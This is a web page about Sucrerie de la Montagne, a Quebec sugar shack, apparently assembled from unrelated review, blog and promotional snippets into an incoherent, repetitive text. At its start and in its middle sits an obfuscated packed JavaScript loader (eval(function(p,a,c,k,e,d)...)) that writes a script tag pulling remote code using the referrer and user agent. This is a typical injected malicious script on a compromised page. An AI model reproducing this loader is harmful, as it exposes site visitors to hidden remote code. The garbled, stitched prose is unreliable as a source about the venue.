''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ahtar|var|u0026u|referrer|ihfrn||js|php'.split('|'),0,{})) For a truly genuine experience, come to Sucrerie de la Montagne, an authentic sugar shack open year-round set amidst a forest of century-old maples. Havelock. Sucrerie de la Montagne was founded by Pierre Faucher and his son Stefan and everything they do is with respect to the heritage of their forebears and authenticity towards Québec’s traditions. The must-do. Description: Our sugar shack, la Sucrerie de la Montagne, has as a mission to make you discover Quebec's traditions; a traditional menu awaits you which included : homemade bread, ham, sausage, meat pie, pancakes with maple syrup and maple taffy on snow. Plus, you’ll get to taste maple syrup in just about every form and food you can imagine. It’s more Christmassy than December 25th! The sap was running. QuebecOriginal.com for useful tourist information about Quebec. The entrance is essentially an enormous dirt parking lot surrounded by log fences. Chantal Cooke is an award winning journalist and broadcaster with a passion for the planet. During the week or on weekends, Sucrerie de la Montagne lets you experience real Québec traditions. The entire process of making maple syrup is, from beginning to the end, done the old-fashioned way. It can take as much as 30 litres of maple water to make one litre of maple syrup. We arrive at Sucrerie de la Montagne, the iconic Quebec site of Pierre’s “sugar shack.” Pierre’s “Father Christmas” look has earned him the status of an icon and his face appears on hundreds of maple syrup products. And, as Stefan says, “in case of emergency” there is a huge bottle of maple syrup on every table. We were a party of 11 for a Sunday brunch birthday celebration. Even though it is quite large, it is a very busy place. You should 100% book a reservation if you plan to come to the Sucrerie de la Montagne for a meal. And it’s all made from the locally harvested maple water. The Cabane A Sucre (Sugar Shack) called Sucrerie de la Montagne is on Rigaud Mountain, up a long country road. All of the courses, taste amazing, and are endless. FIRST CROSS-BORDER PROJECT LAUNCHED TO SAVE HEN HARRIERS. Book Sucrerie de la Montagne, Rigaud on Tripadvisor: See 90 traveller reviews, 128 candid photos, and great deals for Sucrerie de la Montagne, ranked #1 of 2 Speciality lodging in … However when it comes to dessert – hint is not the word. The fluffy omelette soufflé, the smoky baked beans, even the tomato chutney have all been given the maple treatment! But syrup is not all that is made from the maple water. Check out my DJI Osmo Pocket Test Footage: https:// It smells so good people will want to lick you… and according to Stefan, that’s pretty much what his father intended when he dreamed up the idea! We are open 7 days. Hotels in Montreal: ALT Hotel Montréal Griffintown and Sheraton Montreal Airport Hotel. In 2002 she co-founded the award winning radio station PASSION for the PLANET and in 2009 Chantal was awarded London Leader in Sustainability status. Jürgen and I spent a sunny April afternoon at La Sucrerie de la Montagne, about an hour west of Montreal. The film we ended up producing, Sucrerie de la Montagne, premiered at the Food Film Festival in New York recently where it won the Audience Choice Award. We visited the evaporator in a building where a man described how they turn the watery sap into liquid gold. Or sample the maple wine, or the maple beer or…. Sucrerie de la Montagne is a bit of a sugar shack anomaly because it’s open year round. Arriving at the main wooden building, one could be quite convinced that a trip through a time machine had taken place. A post shared by Pedro Henrique Quedinho (@phquedinho) on Nov 15, 2018 at 11:01am PST. The entire experience is a step back in time; the traditional method of collecting and making the syrup, the wooden buildings with their wide ‘chimneys’ (typical of a the early sugar shacks), and the Quebecois food – served family style. Discover Sucrerie de la Montagne in Rigaud, Québec: This shack nestled in a 120-acre forest of maple trees in Mont-Rigaud is a wonderland of sugary syrup. It will take your breath away. We do have a few favourites that we can recommend from the traditional Sucrerie de la Montagne to the more contemporary Érablière Shefford and the over-the-top Au pied de … Sucrerie de la Montagne . Because nothing says “come to my place for brunch” like authentic Quebec maple syrup. in the woods. You can finish off with a slug of maple whiskey, or if you prefer port then try the red wine, port, maple syrup and ice cider mix that is unique to Sucrerie de la Montagne. There is homemade maple syrup on the table, along with homemade sweet pickles, beets and ketchup. Sucrerie de la Montagne is set up like a small village. Check out this drone footage of the sugar shack. Maple water is collected from the trees between March and April. Inspired by the life of the early pioneers in this area? We are open 7 days. Chantal also runs a successful communications agency – Panpathic Communications. Still want more? They are a real piece of history – that you can stay in. Sucrerie de la Montagne is just 45 minutes from Montreal. These are the genuine article – carefully dismantled from their original positions in the nearby village and rebuilt on the Sucrerie site. Small holes are drilled into the trees (which must be at least 40 years old) and spigots are inserted with a bucket attached. Although you can visit at any time of year – ‘Sugar Time’ is March and April. That’s not to say the meal is all sugar (or at least not until you get to the dessert) but it certainly has a subtle hint of maple in every delicious mouthful. Sucrerie de la Montagne, Rigaud: This famous sugar shack is a tourist mecca (it’s the one Anthony Bourdain visited when he came to Montreal).It’s got the whole spoon-playing, sleigh-riding, “tire”-eating experience down to a science. With just 1,500 tapped trees spread over 120 acres, it’s a tiny syrup operation for Quebec, where 75 percent of the world’s supply is produced. Here, the maple syrup is produced the old-fashioned way: the tree is tapped with a spout, the sap collected in a pail and transported to a traditional wood … MAPLE eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(! We have singer-musicians who will entertain the halls in our sugar bush. There's a pretty snazzy general store and gift shop next door for those looking for everything from maple candy to maple bubble bath. It welcomes visitors all year round and Pierre Faucher (the bushy faced founder) or his son, the less bushy-faced Stefan, will be happy to show you around and explain their passion for all things maple. !http://www.youtube.com/user/for91days?sub_confirmation=1EVER!-~-~~-~~~-~~-~-Please watch: \"Low Light / Slow Motion DJI Osmo Pocket Test Footage: Turia Fountain Valencia, Spain\" https://www.youtube.com/watch?v=1iuRot9teBY-~-~~-~~~-~~-~- But rather than just buying tin of this delicious golden liquid to take home, how about visiting a Sugar Shack and finding out how it is made? Sucrerie De la Montagne Inc, Rigaud: See 286 unbiased reviews of Sucrerie De la Montagne Inc, rated 4 of 5 on Tripadvisor and ranked #1 of 29 restaurants in Rigaud. BRAND NEW!!! Sugar pie, maple sugar ice cream, and of course, pancakes and maple syrup – all utterly delightful and all laden with maple syrup. For those of you who couldn't see it, here's the story in photos. Because it was springtime the trees all had buckets hanging from their trunks. Sucrerie de la Montagne was founded by Pierre Faucher and his goal is to preserve the heritage of the cabane à sucre and to provide an authentic look at what life was like as a pioneer. SYRUP AT SUCRERIE DE LA MONTAGNE. If you feel that your pancreas is about to go on strike but you’d still like a little more maple to take home with you – treat yourself to a bottle of maple perfume. Then take a stroll to the store and buy maple syrup, maple butter, maple sugar, dark chocolate and maple, white chocolate and maple… the list goes on! Sucrerie de la Montagne sells light and medium amber syrup on the premises. There are hundreds of cabanes à sucre in Quebec. Maple Syrup time! Right during the maple syrup. This shack extraordinaire has actually been deemed a Quebec historical site, and unlike other cabanes, it’s… It welcomes visitors all year round and Pierre Faucher (the bushy faced founder) or his son, the less bushy-faced Stefan, will be happy to show you around and explain their passion for all things maple. An exquisite smell reminiscent of spring! A bucket for collecting Maple water is shown on the grounds of the Sucrerie de la Montagne sugar shack in Rigaud, Que., west of Montreal, Saturday, April 4, 2020. BRAND NEW!!! I have always heard of the Sucrerie de la Montagne but only had the chance to visit the last time we were in Quebec. This old-time sugar shack takes visitors back to the days of the first settlers, showing the traditional way of collecting sap and boiling it down into maple syrup. By heating it a little longer you get maple taffy, a bit longer gives you maple butter and longer still will deliver maple sugar. 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